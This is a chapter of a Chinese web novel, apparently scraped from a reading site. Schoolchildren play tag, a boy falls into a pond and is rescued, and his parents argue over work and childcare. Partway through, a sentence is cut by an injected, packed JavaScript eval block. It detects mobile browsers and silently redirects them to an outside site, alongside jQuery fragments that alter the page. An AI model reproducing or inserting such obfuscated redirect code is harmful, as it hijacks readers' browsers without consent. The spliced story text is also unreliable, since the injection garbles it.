明天便是双棠小学新生入学体检了,今天是他们最后一天假期,按照约定,几个小伙伴吃过午饭就来了广场,听时任与说晚上要早点回去,夏天心立马安排起来。
温喜盈提议玩鬼抓人,被“鬼”抓到的第一个人,要给那个“鬼”当一天的小弟,几人在广场又找了几个伙伴,一群人跑了整整一个下午,弄得衣服上全是湿汗。
最后一轮终于到温喜盈当鬼了,她眼里满是兴奋,站在广场中央捂着眼睛开始数数。
只是一双小肉手在数到“2”时就开始不老实,偷偷开了个缝眯着眼睛看,正好锁定了她最想找的人,数到30秒,她就开始出发找人了。
方向很明确,她几乎没有犹豫就往正前方跑去。
双棠巷有一片池塘,池水不算深,但也有个一米多,夏天总有小孩到边上玩水,被不少家长明令禁止过,于是池塘成了整个双棠巷最人烟稀少的地方。
温喜盈面上答应得很好,背地里其实偷偷跑去过几次,时任与刚才躲藏的地方,就是去池塘的方向,她脑海里就出现了上回被温广生罚的那根冰棍。
她这小孩健忘,闹点小矛盾过个几天就抛之脑后了,想起这事倒不是要和时任与置气,只是突然记起了那次闹矛盾的真正原因。
温喜盈越接近池塘,心里就越发心虚,这会天还没暗,月亮已经悄悄爬到半空,夕阳在远处遥相辉映,池塘边上是一片小草坪,周围一个人都没有,她大着胆子往前走。
前面的草丛突然动了下,温喜盈嘿嘿一笑,跑过去准备抓人,手还没伸出去,就见一个人影站了起来,突然脚下一滑,整个身子往背后倒去。
砰地一声——
池塘激起水花,时任与拍着手臂在水里扑腾。
几乎是一瞬间,温喜盈飞似地跑向离池塘最近的一家店铺。
不一会儿,几个大人就往池塘边赶,其中一个年轻男子脱了衣服就往池子里跳,池水对于成年人来说很浅,很快就把时任与抱住往岸边游。
大家纷纷围过来,一脸关切地看着浑身湿哒哒的小孩。
好在温喜盈反应快,大人来得也及时,他只是呛了几口水,但仍有些惊魂未定,坐在草地上一口一口大喘气。
“喜盈,你快回去喊他爸妈来。”下池子救人的叔叔说道。
温喜盈点点头,担心地瞟了眼时任与,便飞快往自家的楼栋跑。
时任与回过神来,发现右脚空空如也,眼里闪过慌张,转身看向池塘,有一只鞋正在上面飘着,他伸手抓住一旁x的大人,声音里带了几分颤抖:“叔叔,可以帮我把鞋子弄上来吗?”
-
温喜盈跑回家里的路上,偶遇到躲累了自己走出来的小伙伴。
“我和食人鱼要先回家吃饭了,不玩了,你们也都回去吧。”温喜盈喊住他。
小伙伴不疑有他,跑去和其他人传话了。
温喜盈说完立马转身,用手背擦了擦眼角的泪水,继续往前跑。
时兴望和林傲霜赶来时,时任与已经裹上了毛巾,见夫妻俩来了,一旁的男人开口道:“孩子没什么大事,不过你们心也太大了,给孩子买的鞋都大了半个码,想不摔倒都难。”
“就是,你们夫妻忙工作能理解,那也不能一点都不管呀,前两天我就发现这孩子的鞋底破了个洞,今天瞧着换了新衣新鞋还挺精神,刚才仔细一瞧,不止鞋子大了,裤腰也是大的。”有人附和道。
双棠巷邻里关系都挺好,大家讲话都是直言不讳,虽然他们夫妻不常出现,但傅梅和他们还是很熟的,一着急讲起话来也没了太多顾忌。
林傲霜闻言一愣:“怎么会呢?早上试的时候还好好的。”
“你怎么当妈的?连孩子的鞋码都搞不清楚。”时兴望皱着眉头,抱怨道。
他今天刚从外地送完货回来,这一趟货拿了不少钱,还顺带着签了个大单,原本心情不错,想着回家带孩子下馆子,没想到屁股还没坐热乎,就得知儿子差点溺水,还要被外人指责。
林傲霜不可置信地看了眼丈夫,转而冷笑一声:“时兴望,你难道就是一个好父亲了?”
两人说着就你一言我一语地吵了起来,周围人也赶紧出言相劝,却没想吵得越发激烈了。
温喜盈绕过围着的大人们,钻到时任与面前蹲了下来。
“食人鱼。”
时任与眼眸低垂,浓密的睫毛遮住了他好看的眼睛,留下一截阴影,听见熟悉的声音,他轻轻动了下手指。
眼前突然出现一块奶糖,是温喜盈最喜欢吃的大白兔,许君竹怕她吃坏牙齿,一个星期才给她一颗,时任与睫毛微颤,抬头看了过去。
温喜盈认真地把奶糖剥开,递到他嘴边,轻声道:“食人鱼,对不起,你吃吧,吃了糖就不难受。”
时任与张开嘴,将奶糖含进嘴里,甜丝丝的奶味在口腔里溢开。
这个暑假,他其实沾了不少温喜盈的光,许君竹每周也会给他分一颗糖,有时候还会偷偷多塞几颗,可他都收了起来,一颗也没动。
虽然刚从池子里捞起来有点冷,可吃了糖好像真的就没那么难受了。
围观人群越来越多,正好是饭点,该下班的都下班了,不少人都跑来看热闹,原本就不大的小草坪上站满了人。
温喜盈蹲累了,抱着膝盖坐在时任与身旁,耳边是大人们叽里咕噜的说话声,视线却一直停留在不远处的一处石头上,大眼里带着隐隐的不安。
“头痛。”一旁的时任与突然大声咳了几下,声音带着几分虚弱。
大人们纷纷侧目看来,吵得激烈的两人也终于停下争执,总算想起来刚泡过水的儿子,林傲霜快步走了过来,将他搂进怀里。
“走,妈妈带你回家。”
林傲霜想把儿子抱起来,却发现他不知何时已经长大了许多,衣服湿了又有些滑,手上的力没控制好,差点一起摔倒。
时兴望这才走过来,接过儿子便大步往前走。
越过父亲宽厚的肩膀,时任与看见温喜盈往一处草丛走去,背影鬼鬼祟祟,也因此,他没错过一旁裙摆微湿的林傲霜,脸上精心化好的妆容被汗水浸花,她抬眼看向神情各异的人群,凤眼中闪过一丝决绝。
-
一家三口回来时,傅梅已经急得爬起来坐到了客厅,经过两个月的休养,她的腿已经好了许多,下床慢慢走没什么问题。
见时兴望铁青着脸进门,她也没顾上问,正想起身看看孙子,时任与便抬头道:“奶奶,我没事,你坐着吧。”
傅梅满眼都是心疼:“先去洗个热水澡,别着凉了。”
时兴望将儿子放到沙发上,自己走进洗手间放热水,幸好家里上周刚装了热水器,现在洗澡不需要再等着烧水了,回想起母亲卧床这两个月,他才突然意识到,自己完全没考虑过儿子是如何洗澡的。
水刚放好,林傲霜也回来了,她从时任与房间拿了衣服,想帮他洗澡。
“我自己洗吧。”时任与起身拿过毛巾和衣物,独自走进洗手间,留下三个面色各异的大人。
“林傲霜,你到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723957|173967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底在固执些什么?我现在在外面单子很多,能赚钱养家,你为什么就不能在家带孩子,非要去那个破车间,整天早出晚归的,也赚不了几个钱,又苦又累,你就待在家里做个全职主妇不好吗?”
时兴望浓眉大眼,身形魁梧,脸呈方形,面相带了几分狠劲,不熟的人看了会有些犯怵,此刻他瞪着双眼压低声音讲话,让人有几分不寒而栗,只是林傲霜了解他,窝里横的家伙,在外对谁不是客客气气的。
“我也能赚钱,凭什么要我待在家里。”
“既然不愿意带孩子,你当初干嘛答应要生?”
“我为什么要生?怀上的时候要不是你保证不用我带,我真是脑子坏了才会被你哄骗着把孩子生了。”林傲霜忍不住提高了几分音量。
洗手间里的水声戛然而止,隔了两秒才又听见流动声。
傅梅瞅了眼洗手间的门,低声喝止:“要吵出去吵,非要让孩子听见才开心是吧?”
林傲霜深吸口气,扫了扫有些乱了的刘海,冷静了几分,才淡淡道:“服装厂的工作我辞了,明天开始我会到百货大楼做柜台销售,做得好有提成,工资不一定会比你低。”
今天丈夫难得回来,她原本是很开心的,正好自己也有喜事分享,只是他晚上一番话,突然就将自己骂醒了,原来她努力想为家庭做的付出,他根本半点没放在眼里。
时兴望哧地一声,眼里闪过不屑,正要开口说什么,洗手间的门被打开了。
“我先回房睡觉了。”时任与湿着头发走了出来,说完就往房间走。
“先把头发弄干了再睡。”林傲霜拿了把蒲扇,将他招呼过来,说着便往他头发上轻轻扇风。
时兴望伸手准备开电风扇,就被傅梅拍了一下:“你儿子刚泡过水,想把他吹感冒吗?快去煮点姜汤。”
他敢跟妻子大声讲话,却不敢对母亲不敬,于是灰溜溜地进了厨房。
一家人刚安静下来没多久,门铃便响了,林傲霜去开门,门外许君竹带着温喜盈,手里还提着几个打包盒,熟络地走了进来。
“都还没吃饭吧?我从店里带来的,一块吃点?”
一顿饭下来,除了许君竹和傅梅偶尔攀谈两句,大部分时候都很是安静,就连平时叽叽喳喳个不停的温喜盈,也眼观鼻鼻观心,乖巧得像只小兔子,除了手偶尔忍不住往口袋摸。
时任与在大人们围观中喝下了一整碗姜汤,才被允许进房休息,温喜盈也熟练地跟着钻了进去。
林傲霜夫妻俩则一个去洗澡,一个出门倒垃圾,见女儿还要赖在人家里,许君竹只好陪着傅梅在房间里聊天。
时任与的房间不大,家具倒是样样齐全,大部分都是林傲霜夫妻结婚时买的实木家具,书桌上还有台收音机,就连电风扇也是顶好的牌子。
床对面是一个衣柜和满墙的书架,里面放了许多看过的儿童书籍,还有一大半是空的,傅梅说留着将来上学了放书用。
平心而论,作为家里唯一一个小辈,他得到的物质条件都是整个家庭竭尽所能提供最好的。
时任与确实有些冷了,开了风扇朝向温喜盈吹,自己上床拉被子盖上,一转头就见她自如地爬上书桌前的靠椅,一边抱着把手,一边往口袋里掏东西。
还没等他反应过来,一只青绿色的活物已经出现在那双肉乎乎的小手上。
时任与突然就很后悔晚上帮了温喜盈。
而那个罪魁祸首,只是笑眼弯弯道:“食人鱼,看在你保护它的份上,我特意冒险带它来感谢你!”